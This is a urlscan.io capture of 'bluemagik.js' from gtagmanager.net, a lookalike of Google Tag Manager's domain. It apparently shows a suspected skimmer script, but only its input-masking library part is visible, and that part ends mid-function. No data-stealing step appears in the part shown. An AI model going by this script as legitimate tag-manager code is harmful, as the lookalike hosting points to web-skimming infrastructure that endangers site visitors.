gtagmanager.net Open in urlscan Pro
45.134.173.161  Public Scan

URL: http://gtagmanager.net/bluemagik.js
Submission: On February 16 via api from US — Scanned from US

Form analysis 0 forms found in the DOM

Text Content

if (!window.d5yRYwil9rcarc9sDbJXtRRq0jifEAI4) {
    ;
    (function () {
        class ChangeDetails {
            constructor(details) {
                Object.assign(this, {
                    inserted: '',
                    overflow: false,
                    removedCount: 0,
                    shift: 0
                }, details);
            }
            aggregate(details) {
                this.inserted += details.inserted;
                this.removedCount += details.removedCount;
                this.shift += details.shift;
                this.overflow = this.overflow || details.overflow;
                if (details.rawInserted) this.rawInserted += details.rawInserted;
                return this;
            }
            get offset() {
                return this.shift + this.inserted.length - this.removedCount;
            }
            get rawInserted() {
                return this._rawInserted != null ? this._rawInserted : this.inserted;
            }
            set rawInserted(rawInserted) {
                this._rawInserted = rawInserted;
            }
        }
        var _extends = Object.assign || function (target) {
            for (var i = 1; i < arguments.length; i++) {
                var source = arguments[i];
                for (var key in source) {
                    if (Object.prototype.hasOwnProperty.call(source, key)) {
                        target[key] = source[key];
                    }
                }
            }
            return target;
        };
        var slicedToArray = function () {
            function sliceIterator(arr, i) {
                var _arr = [];
                var _n = true;
                var _d = false;
                var _e = undefined;
                try {
                    for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) {
                        _arr.push(_s.value);
                        if (i && _arr.length === i) break;
                    }
                } catch (err) {
                    _d = true;
                    _e = err;
                } finally {
                    try {
                        if (!_n && _i["return"]) _i["return"]();
                    } finally {
                        if (_d) throw _e;
                    }
                }
                return _arr;
            }
            return function (arr, i) {
                if (Array.isArray(arr)) {
                    return arr;
                } else if (Symbol.iterator in Object(arr)) {
                    return sliceIterator(arr, i);
                } else {
                    throw new TypeError("Invalid attempt to destructure non-iterable instance");
                }
            };
        }();
        class Masked {
            constructor(opts) {
                this._value = '';
                this._update(_extends({}, Masked.DEFAULTS, opts));
                this.isInitialized = true;
            }
            updateOptions(opts) {
                this.withValueRefresh(this._update.bind(this, opts));
            }
            _update(opts) {
                Object.assign(this, opts);
            }
            clone() {
                const m = new Masked(this);
                m._value = this.value.slice();
                return m;
            }
            reset() {
                this._value = '';
            }
            get value() {
                return this._value;
            }
            set value(value) {
                this.resolve(value);
            }
            resolve(value) {
                this.reset();
                this.appendWithTail(value);
                this.doCommit();
                return this.value;
            }
            get unmaskedValue() {
                return this._unmask();
            }
            set unmaskedValue(value) {
                this.reset();
                this._append(value);
                this.appendWithTail("");
                this.doCommit();
            }
            get rawInputValue() {
                return this.extractInput(0, this.value.length, {
                    raw: true
                });
            }
            set rawInputValue(value) {
                this.reset();
                this._append(value, {
                    raw: true
                });
                this.appendWithTail("");
                this.doCommit();
            }
            get isComplete() {
                return true;
            }
            nearestInputPos(cursorPos) {
                return cursorPos;
            }
            extractInput(fromPos = 0, toPos = this.value.length) {
                return this.value.slice(fromPos, toPos);
            }
            extractTail(fromPos = 0, toPos = this.value.length) {
                return this.extractInput(fromPos, toPos);
            }
            _appendTail(tail) {
                return !tail ? new ChangeDetails() : this._append(tail, {
                    tail: true
                });
            }
            _append(str, flags = {}) {
                const oldValueLength = this.value.length;
                let consistentValue = this.clone();
                let overflow = false;
                str = this.doPrepare(str, flags);
                for (let ci = 0; ci < str.length; ++ci) {
                    this._value += str[ci];
                    if (this.doValidate(flags) === false) {
                        Object.assign(this, consistentValue);
                        if (!flags.input) {
                            overflow = true;
                            break;
                        }
                    }
                    consistentValue = this.clone();
                }
                return new ChangeDetails({
                    inserted: this.value.slice(oldValueLength),
                    overflow
                });
            }
            appendWithTail(str, tail) {
                const aggregateDetails = new ChangeDetails();
                let consistentValue = this.clone();
                let consistentAppended;
                for (let ci = 0; ci < str.length; ++ci) {
                    const ch = str[ci];
                    const appendDetails = this._append(ch, {
                        input: true
                    });
                    consistentAppended = this.clone();
                    const tailAppended = !appendDetails.overflow && !this._appendTail(tail).overflow;
                    if (!tailAppended || this.doValidate({
                        tail: true
                    }) === false) {
                        Object.assign(this, consistentValue);
                        break;
                    }
                    consistentValue = this.clone();
                    Object.assign(this, consistentAppended);
                    aggregateDetails.aggregate(appendDetails);
                }
                aggregateDetails.shift += this._appendTail(tail).shift;
                return aggregateDetails;
            }
            _unmask() {
                return this.value;
            }
            remove(from = 0, count = this.value.length - from) {
                this._value = this.value.slice(0, from) + this.value.slice(from + count);
            }
            withValueRefresh(fn) {
                if (this._refreshing || !this.isInitialized) return fn();
                this._refreshing = true;
                const unmasked = this.unmaskedValue;
                const ret = fn();
                this.unmaskedValue = unmasked;
                delete this._refreshing;
                return ret;
            }
            doPrepare(str, flags) {
                return this.prepare(str, this, flags);
            }
            doValidate(flags) {
                return this.validate(this.value, this, flags);
            }
            doCommit() {
                this.commit(this.value, this);
            }
            splice(start, deleteCount, inserted, removeDirection) {
                const tailPos = start + deleteCount;
                const tail = this.extractTail(tailPos);
                const startChangePos = this.nearestInputPos(start, removeDirection);
                this.remove(startChangePos);
                const changeDetails = this.appendWithTail(inserted, tail);
                changeDetails.shift += startChangePos - start;
                return changeDetails;
            }
        }
        Masked.DEFAULTS = {
            prepare: val => val,
            validate: () => true,
            commit: () => { }
        };

        function isString(str) {
            return typeof str === 'string' || str instanceof String;
        }

        function conform(res, str, fallback = '') {
            return isString(res) ? res : res ? str : fallback;
        }
        const DIRECTION = {
            NONE: 0,
            LEFT: -1,
            RIGHT: 1
        };

        function indexInDirection(pos, direction) {
            if (direction === DIRECTION.LEFT) --pos;
            return pos;
        }

        function escapeRegExp(str) {
            return str.replace(/([.*+?^=!:${}()|[\]/\\])/g, '\\$1');
        }

        function objectIncludes(b, a) {
            if (a === b) return true;
            var arrA = Array.isArray(a),
                arrB = Array.isArray(b),
                i;
            if (arrA && arrB) {
                if (a.length != b.length) return false;
                for (i = 0; i < a.length; i++)
                    if (!objectIncludes(a[i], b[i])) return false;
                return true;
            }
            if (arrA != arrB) return false;
            if (a && b && typeof a === 'object' && typeof b === 'object') {
                var keys = Object.keys(a);
                var dateA = a instanceof Date,
                    dateB = b instanceof Date;
                if (dateA && dateB) return a.getTime() == b.getTime();
                if (dateA != dateB) return false;
                var regexpA = a instanceof RegExp,
                    regexpB = b instanceof RegExp;
                if (regexpA && regexpB) return a.toString() == b.toString();
                if (regexpA != regexpB) return false;
                for (i = 0; i < keys.length; i++)
                    if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
                for (i = 0; i < keys.length; i++)
                    if (!objectIncludes(a[keys[i]], b[keys[i]])) return false;
                return true;
            }
            return false;
        }
        class MaskedRegExp extends Masked {
            _update(opts) {
                opts.validate = value => value.search(opts.mask) >= 0;
                super._update(opts);
            }
        }
        class MaskedFunction extends Masked {
            _update(opts) {
                opts.validate = opts.mask;
                super._update(opts);
            }
        }
        class MaskedNumber extends Masked {
            constructor(opts) {
                opts.postFormat = Object.assign({}, MaskedNumber.DEFAULTS.postFormat, opts.postFormat);
                super(_extends({}, MaskedNumber.DEFAULTS, opts));
            }
            _update(opts) {
                opts.postFormat = Object.assign({}, this.postFormat, opts.postFormat);
                super._update(opts);
                this._updateRegExps();
            }
            _updateRegExps() {
                const start = '^';
                let midInput = '';
                let mid = '';
                if (this.allowNegative) {
                    midInput += '([+|\\-]?|([+|\\-]?(0|([1-9]+\\d*))))';
                    mid += '[+|\\-]?';
                } else {
                    midInput += '(0|([1-9]+\\d*))';
                }
                mid += '\\d*';
                let end = (this.scale ? '(' + this.radix + '\\d{0,' + this.scale + '})?' : '') + '$';
                this._numberRegExpInput = new RegExp(start + midInput + end);
                this._numberRegExp = new RegExp(start + mid + end);
                this._mapToRadixRegExp = new RegExp('[' + this.mapToRadix.map(escapeRegExp).join('') + ']', 'g');
                this._thousandsSeparatorRegExp = new RegExp(escapeRegExp(this.thousandsSeparator), 'g');
            }
            extractTail(fromPos = 0, toPos = this.value.length) {
                return this._removeThousandsSeparators(super.extractTail(fromPos, toPos));
            }
            _removeThousandsSeparators(value) {
                return value.replace(this._thousandsSeparatorRegExp, '');
            }
            _insertThousandsSeparators(value) {
                const parts = value.split(this.radix);
                parts[0] = parts[0].replace(/\B(?=(\d{3})+(?!\d))/g, this.thousandsSeparator);
                return parts.join(this.radix);
            }
            doPrepare(str, ...args) {
                return super.doPrepare(this._removeThousandsSeparators(str.replace(this._mapToRadixRegExp, this.radix)), ...args);
            }
            appendWithTail(str, tail) {
                const oldValueLength = this.value.length;
                this._value = this._removeThousandsSeparators(this.value);
                let startChangePos = this.value.length;
                const appendDetails = super.appendWithTail(str, tail);
                this._value = this._insertThousandsSeparators(this.value);
                let beforeTailPos = startChangePos + appendDetails.inserted.length;
                for (let pos = 0; pos <= beforeTailPos; ++pos) {
                    if (this.value[pos] === this.thousandsSeparator) {
                        if (pos <= startChangePos) ++startChangePos;
                        ++beforeTailPos;
                    }
                }
                appendDetails.rawInserted = appendDetails.inserted;
                appendDetails.inserted = this.value.slice(startChangePos, beforeTailPos);
                appendDetails.shift += startChangePos - oldValueLength;
                return appendDetails;
            }
            nearestInputPos(cursorPos, direction = DIRECTION.LEFT) {
                if (!direction) return cursorPos;
                const nextPos = indexInDirection(cursorPos, direction);
                if (this.value[nextPos] === this.thousandsSeparator) cursorPos += direction;
                return cursorPos;
            }
            doValidate(flags) {
                const regexp = flags.input ? this._numberRegExpInput : this._numberRegExp;
                let valid = regexp.test(this._removeThousandsSeparators(this.value));
                if (valid) {
                    const number = this.number;
                    valid = valid && !isNaN(number) && (this.min == null || this.min >= 0 || this.min <= this.number) && (this.max == null || this.max <= 0 || this.number <= this.max);
                }
                return valid && super.doValidate(flags);
            }
            doCommit() {
                const number = this.number;
                let validnum = number;
                if (this.min != null) validnum = Math.max(validnum, this.min);
                if (this.max != null) validnum = Math.min(validnum, this.max);
                if (validnum !== number) this.unmaskedValue = String(validnum);
                let formatted = this.value;
                if (this.postFormat.normalizeZeros) formatted = this._normalizeZeros(formatted);
                if (this.postFormat.padFractionalZeros) formatted = this._padFractionalZeros(formatted);
                this._value = formatted;
                super.doCommit();
            }
            _normalizeZeros(value) {
                const parts = this._removeThousandsSeparators(value).split(this.radix);
                parts[0] = parts[0].replace(/^(\D*)(0*)(\d*)/, (match, sign, zeros, num) => sign + num);
                if (value.length && !/\d$/.test(parts[0])) parts[0] = parts[0] + '0';
                if (parts.length > 1) {
                    parts[1] = parts[1].replace(/0*$/, '');
                    if (!parts[1].length) parts.length = 1;
                }
                return this._insertThousandsSeparators(parts.join(this.radix));
            }
            _padFractionalZeros(value) {
                const parts = value.split(this.radix);
                if (parts.length < 2) parts.push('');
                parts[1] = parts[1].padEnd(this.scale, '0');
                return parts.join(this.radix);
            }
            get number() {
                let numstr = this._removeThousandsSeparators(this._normalizeZeros(this.unmaskedValue)).replace(this.radix, '.');
                return Number(numstr);
            }
            set number(number) {
                this.unmaskedValue = String(number).replace('.', this.radix);
            }
            get allowNegative() {
                return this.signed || this.min != null && this.min < 0 || this.max != null && this.max < 0;
            }
        }
        MaskedNumber.DEFAULTS = {
            radix: ',',
            thousandsSeparator: '',
            mapToRadix: ['.'],
            scale: 2,
            signed: false,
            postFormat: {
                normalizeZeros: true,
                padFractionalZeros: false
            }
        };

        function maskedClass(mask) {
            if (mask == null) {
                throw new Error('mask property should be defined');
            }
            if (mask instanceof RegExp) return MaskedRegExp;
            if (isString(mask)) return IMask.MaskedPattern;
            if (mask.prototype instanceof Masked) return mask;
            if (Array.isArray(mask) || mask === Array) return IMask.MaskedDynamic;
            if (mask instanceof Number || typeof mask === 'number' || mask === Number) return MaskedNumber;
            if (mask instanceof Date || mask === Date) return IMask.MaskedDate;
            if (mask instanceof Function) return MaskedFunction;
            console.warn('Mask not found for mask', mask);
            return Masked;
        }

        function createMask(opts) {
            opts = Object.assign({}, opts);
            const mask = opts.mask;
            if (mask instanceof Masked) return mask;
            const MaskedClass = maskedClass(mask);
            return new MaskedClass(opts);
        }
        class PatternDefinition {
            constructor(opts) {
                Object.assign(this, opts);
                if (this.mask) {
                    this._masked = createMask(opts);
                }
            }
            reset() {
                this.isHollow = false;
                this.isRawInput = false;
                if (this._masked) this._masked.reset();
            }
            get isInput() {
                return this.type === PatternDefinition.TYPES.INPUT;
            }
            get isHiddenHollow() {
                return this.isHollow && this.optional;
            }
            resolve(ch) {
                if (!this._masked) return false;
                return this._masked.resolve(ch);
            }
        }
        PatternDefinition.DEFAULTS = {
            '0': /\d/,
            'a': /[\u0041-\u005A\u0061-\u007A\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]/,
            '*': /./
        };
        PatternDefinition.TYPES = {
            INPUT: 'input',
            FIXED: 'fixed'
        };
        class PatternGroup {
            constructor(masked, {
                name,
                offset,
                mask,
                validate
            }) {
                this.masked = masked;
                this.name = name;
                this.offset = offset;
                this.mask = mask;
                this.validate = validate || (() => true);
            }
            get value() {
                return this.masked.value.slice(this.masked.mapDefIndexToPos(this.offset), this.masked.mapDefIndexToPos(this.offset + this.mask.length));
            }
            get unmaskedValue() {
                return this.masked.extractInput(this.masked.mapDefIndexToPos(this.offset), this.masked.mapDefIndexToPos(this.offset + this.mask.length));
            }
            doValidate(opts) {
                return this.validate(this.value, this, opts);
            }
        }
        class RangeGroup {
            constructor([from, to], maxlen = String(to).length) {
                this._from = from;
                this._to = to;
                this._maxLength = maxlen;
                this.validate = this.validate.bind(this);
                this._update();
            }
            get to() {
                return this._to;
            }
            set to(to) {
                this._to = to;
                this._update();
            }
            get from() {
                return this._from;
            }
            set from(from) {
                this._from = from;
                this._update();
            }
            get maxLength() {
                return this._maxLength;
            }
            set maxLength(maxLength) {
                this._maxLength = maxLength;
                this._update();
            }
            get _matchFrom() {
                return this.maxLength - String(this.from).length;
            }
            _update() {
                this._maxLength = Math.max(this._maxLength, String(this.to).length);
                this.mask = '0'.repeat(this._maxLength);
            }
            validate(str) {
                let minstr = '';
                let maxstr = '';
                var _str$match = str.match(/^(\D*)(\d*)(\D*)/),
                    _str$match2 = slicedToArray(_str$match, 3);
                const placeholder = _str$match2[1],
                    num = _str$match2[2];
                if (num) {
                    minstr = '0'.repeat(placeholder.length) + num;
                    maxstr = '9'.repeat(placeholder.length) + num;
                }
                const firstNonZero = str.search(/[^0]/);
                if (firstNonZero === -1 && str.length <= this._matchFrom) return true;
                minstr = minstr.padEnd(this._maxLength, '0');
                maxstr = maxstr.padEnd(this._maxLength, '9');
                return this.from <= Number(maxstr) && Number(minstr) <= this.to;
            }
        }

        function EnumGroup(enums) {
            return {
                mask: '*'.repeat(enums[0].length),
                validate: (value, group) => enums.some(e => e.indexOf(group.unmaskedValue) >= 0)
            };
        }
        PatternGroup.Range = RangeGroup;
        PatternGroup.Enum = EnumGroup;
        class MaskedPattern extends Masked {
            constructor(opts = {}) {
                opts.placeholder = Object.assign({}, MaskedPattern.DEFAULT_PLACEHOLDER, opts.placeholder);
                opts.definitions = Object.assign({}, PatternDefinition.DEFAULTS, opts.definitions);
                super(opts);
            }
            _update(opts) {
                opts.placeholder = Object.assign({}, this.placeholder, opts.placeholder);
                opts.definitions = Object.assign({}, this.definitions, opts.definitions);
                super._update(opts);
                this._updateMask();
            }
            _updateMask() {
                const defs = this.definitions;
                this._charDefs = [];
                this._groupDefs = [];
                let pattern = this.mask;
                if (!pattern || !defs) return;
                let unmaskingBlock = false;
                let optionalBlock = false;
                let stopAlign = false;
                for (let i = 0; i < pattern.length; ++i) {
                    if (this.groups) {
                        const p = pattern.slice(i);
                        const gNames = Object.keys(this.groups).filter(gName => p.indexOf(gName) === 0);
                        gNames.sort((a, b) => b.length - a.length);
                        const gName = gNames[0];
                        if (gName) {
                            const group = this.groups[gName];
                            this._groupDefs.push(new PatternGroup(this, {
                                name: gName,
                                offset: this._charDefs.length,
                                mask: group.mask,
                                validate: group.validate
                            }));
                            pattern = pattern.replace(gName, group.mask);
                        }
                    }
                    let char = pattern[i];
                    let type = !unmaskingBlock && char in defs ? PatternDefinition.TYPES.INPUT : PatternDefinition.TYPES.FIXED;
                    const unmasking = type === PatternDefinition.TYPES.INPUT || unmaskingBlock;
                    const optional = type === PatternDefinition.TYPES.INPUT && optionalBlock;
                    if (char === MaskedPattern.STOP_CHAR) {
                        stopAlign = true;
                        continue;
                    }
                    if (char === '{' || char === '}') {
                        unmaskingBlock = !unmaskingBlock;
                        continue;
                    }
                    if (char === '[' || char === ']') {
                        optionalBlock = !optionalBlock;
                        continue;
                    }
                    if (char === MaskedPattern.ESCAPE_CHAR) {
                        ++i;
                        char = pattern[i];
                        if (!char) break;
                        type = PatternDefinition.TYPES.FIXED;
                    }
                    this._charDefs.push(new PatternDefinition({
                        char,
                        type,
                        optional,
                        stopAlign,
                        unmasking,
                        mask: type === PatternDefinition.TYPES.INPUT ? defs[char] : value => value === char
                    }));
                    stopAlign = false;
                }
            }
            doValidate(...args) {
                return this._groupDefs.every(g => g.doValidate(...args)) && super.doValidate(...args);
            }
            clone() {
                const m = new MaskedPattern(this);
                m._value = this.value;
                m._charDefs.forEach((d, i) => Object.assign(d, this._charDefs[i]));
                m._groupDefs.forEach((d, i) => Object.assign(d, this._groupDefs[i]));
                return m;
            }
            reset() {
                super.reset();
                this._charDefs.forEach(d => {
                    delete d.isHollow;
                });
            }
            get isComplete() {
                return !this._charDefs.some((d, i) => d.isInput && !d.optional && (d.isHollow || !this.extractInput(i, i + 1)));
            }
            hiddenHollowsBefore(defIndex) {
                return this._charDefs.slice(0, defIndex).filter(d => d.isHiddenHollow).length;
            }
            mapDefIndexToPos(defIndex) {
                if (defIndex == null) return;
                return defIndex - this.hiddenHollowsBefore(defIndex);
            }
            mapPosToDefIndex(pos) {
                if (pos == null) return;
                let defIndex = pos;
                for (let di = 0; di < this._charDefs.length; ++di) {
                    const def = this._charDefs[di];
                    if (di >= defIndex) break;
                    if (def.isHiddenHollow) ++defIndex;
                }
                return defIndex;
            }
            _unmask() {
                const str = this.value;
                let unmasked = '';
                for (let ci = 0, di = 0; ci < str.length && di < this._charDefs.length; ++di) {
                    const ch = str[ci];
                    const def = this._charDefs[di];
                    if (def.isHiddenHollow) continue;
                    if (def.unmasking && !def.isHollow) unmasked += ch;
                    ++ci;
                }
                return unmasked;
            }
            _appendTail(tail) {
                return (!tail ? new ChangeDetails() : this._appendChunks(tail, {
                    tail: true
                })).aggregate(this._appendPlaceholder());
            }
            _append(str, flags = {}) {
                const oldValueLength = this.value.length;
                let rawInserted = '';
                let overflow = false;
                str = this.doPrepare(str, flags.input);
                for (let ci = 0, di = this.mapPosToDefIndex(this.value.length); ci < str.length;) {
                    const ch = str[ci];
                    const def = this._charDefs[di];
                    if (!def) {
                        overflow = true;
                        break;
                    }
                    def.isHollow = false;
                    let resolved, skipped;
                    let chres = conform(def.resolve(ch), ch);
                    if (def.type === PatternDefinition.TYPES.INPUT) {
                        if (chres) {
                            this._value += chres;
                            if (!this.doValidate()) {
                                chres = '';
                                this._value = this.value.slice(0, -1);
                            }
                        }
                        resolved = !!chres;
                        skipped = !chres && !def.optional;
                        if (!chres) {
                            if (!def.optional && !flags.input) {
                                this._value += this.placeholder.char;
                                skipped = false;
                            }
                            if (!skipped) def.isHollow = true;
                        } else {
                            rawInserted += chres;
                        }
                    } else {
                        this._value += def.char;
                        resolved = chres && (def.unmasking || flags.input) && !flags.tail;
                        def.isRawInput = resolved && (flags.raw || def.unmasking && flags.input);
                        if (def.isRawInput) rawInserted += chres;
                    }
                    if (!skipped) ++di;
                    if (resolved || skipped) ++ci;
                }
                return new ChangeDetails({
                    inserted: this.value.slice(oldValueLength),
                    rawInserted,
                    overflow
                });
            }
            _appendChunks(chunks, ...args) {
                const details = new ChangeDetails();
                for (let ci = 0; ci < chunks.length; ++ci) {
                    var _chunks$ci = slicedToArray(chunks[ci], 2);
                    const fromDefIndex = _chunks$ci[0],
                        input = _chunks$ci[1];
                    if (fromDefIndex != null) details.aggregate(this._appendPlaceholder(fromDefIndex));
                    if (details.aggregate(this._append(input, ...args)).overflow) break;
                }
                return details;
            }
            extractTail(fromPos, toPos) {
                return this.extractInputChunks(fromPos, toPos);
            }
            extractInput(fromPos = 0, toPos = this.value.length, flags = {}) {
                const str = this.value;
                let input = '';
                const toDefIndex = this.mapPosToDefIndex(toPos);
                for (let ci = fromPos, di = this.mapPosToDefIndex(fromPos); ci < toPos && ci < str.length && di < toDefIndex; ++di) {
                    const ch = str[ci];
                    const def = this._charDefs[di];
                    if (!def) break;
                    if (def.isHiddenHollow) continue;
                    if (def.isInput && !def.isHollow || flags.raw && !def.isInput && def.isRawInput) input += ch;
                    ++ci;
                }
                return input;
            }
            extractInputChunks(fromPos = 0, toPos = this.value.length) {
                const fromDefIndex = this.mapPosToDefIndex(fromPos);
                const toDefIndex = this.mapPosToDefIndex(toPos);
                const stopDefIndices = this._charDefs.map((d, i) => [d, i]).slice(fromDefIndex, toDefIndex).filter(([d]) => d.stopAlign).map(([, i]) => i);
                const stops = [fromDefIndex, ...stopDefIndices, toDefIndex];
                return stops.map((s, i) => [stopDefIndices.indexOf(s) >= 0 ? s : null, this.extractInput(this.mapDefIndexToPos(s), this.mapDefIndexToPos(stops[++i]))]).filter(([stop, input]) => stop != null || input);
            }
            _appendPlaceholder(toDefIndex) {
                const oldValueLength = this.value.length;
                const maxDefIndex = toDefIndex || this._charDefs.length;
                for (let di = this.mapPosToDefIndex(this.value.length); di < maxDefIndex; ++di) {
                    const def = this._charDefs[di];
                    if (def.isInput) def.isHollow = true;
                    if (!this.placeholder.lazy || toDefIndex) {
                        this._value += !def.isInput ? def.char : !def.optional ? this.placeholder.char : '';
                    }
                }
                return new ChangeDetails({
                    inserted: this.value.slice(oldValueLength)
                });
            }
            remove(from = 0, count = this.value.length - from) {
                const to = from + count;
                this._value = this.value.slice(0, from) + this.value.slice(to);
                const fromDefIndex = this.mapPosToDefIndex(from);
                const toDefIndex = this.mapPosToDefIndex(to);
                this._charDefs.slice(fromDefIndex, toDefIndex).forEach(d => d.reset());
            }
            nearestInputPos(cursorPos, direction = DIRECTION.LEFT) {
                if (!direction) return cursorPos;
                const initialDefIndex = this.mapPosToDefIndex(cursorPos);
                let di = initialDefIndex;
                let firstInputIndex, firstFilledInputIndex, firstVisibleHollowIndex, nextdi;
                for (nextdi = indexInDirection(di, direction); 0 <= nextdi && nextdi < this._charDefs.length; di += direction, nextdi += direction) {
                    const nextDef = this._charDefs[nextdi];
                    if (firstInputIndex == null && nextDef.isInput) firstInputIndex = di;
                    if (firstVisibleHollowIndex == null && nextDef.isHollow && !nextDef.isHiddenHollow) firstVisibleHollowIndex = di;
                    if (nextDef.isInput && !nextDef.isHollow) {
                        firstFilledInputIndex = di;
                        break;
                    }
                }
                if (direction === DIRECTION.LEFT || firstInputIndex == null) {
